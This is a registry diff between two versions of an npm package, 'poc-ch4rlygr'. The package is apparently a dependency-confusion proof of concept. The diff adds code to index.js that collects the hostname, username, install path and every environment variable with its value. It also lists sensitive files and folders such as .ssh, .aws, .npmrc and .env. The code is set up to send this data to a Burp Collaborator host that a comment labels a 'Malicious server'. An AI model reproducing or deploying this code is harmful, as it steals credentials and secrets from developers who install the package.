poc-ch4rlygr 1.1.0 → 1.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +15 -7
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -4,16 +4,24 @@ const { execSync } = require('child_process');
4
4
 
5
5
  //Malicious server to receive the data
6
6
  const burpCollaborator = "zuxsp9k9vyk5y45z1n2hv0orhin9b2zr.oastify.com"; // Cambia esto por tu dominio de Burp Collaborator
7
-
7
+ const commonFiles = [
8
+ '.bashrc', '.bash_history', '.zshrc', '.zsh_history',
9
+ '.ssh', '.aws', '.npmrc', '.env', '.gitconfig',
10
+ 'Desktop', 'Documents', 'Downloads'
11
+ ];
8
12
 
9
13
  //Collect device information
10
14
  const data = {
11
- p: "poc-ch4rlygr", // Nombre del paquete
12
- h: os.hostname(), // Nombre del equipo
13
- arch: os.arch(), // Arquitectura del sistema
14
- d: __dirname, // Ruta donde se instaló
15
- id: os.userInfo().username, // Usuario actual (Linux/Mac)
16
- env_keys: Object.keys(process.env).join(",") // Nombres de variables de entorno
15
+ p: "poc-ch4rlygr", // Nombre del paquete
16
+ h: os.hostname(), // Nombre del equipo
17
+ arch: os.arch(), // Arquitectura del sistema
18
+ d: __dirname, // Ruta donde se instaló
19
+ id: os.userInfo().username, // Usuario actual (Linux/Mac)
20
+ env: Object.entries(process.env)
21
+ .map(([key, value]) => `${key}=${value}`)
22
+ .join(",")
23
+ //env_keys: Object.keys(process.env).join(","), // Nombres de variables de entorno
24
+ //env_values: Object.values(process.env).join(",") // Valores de variables de entorno
17
25
  };
18
26
 
19
27
  //Convert device information to a query string
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "poc-ch4rlygr",
3
- "version": "1.1.0",
3
+ "version": "1.3.0",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {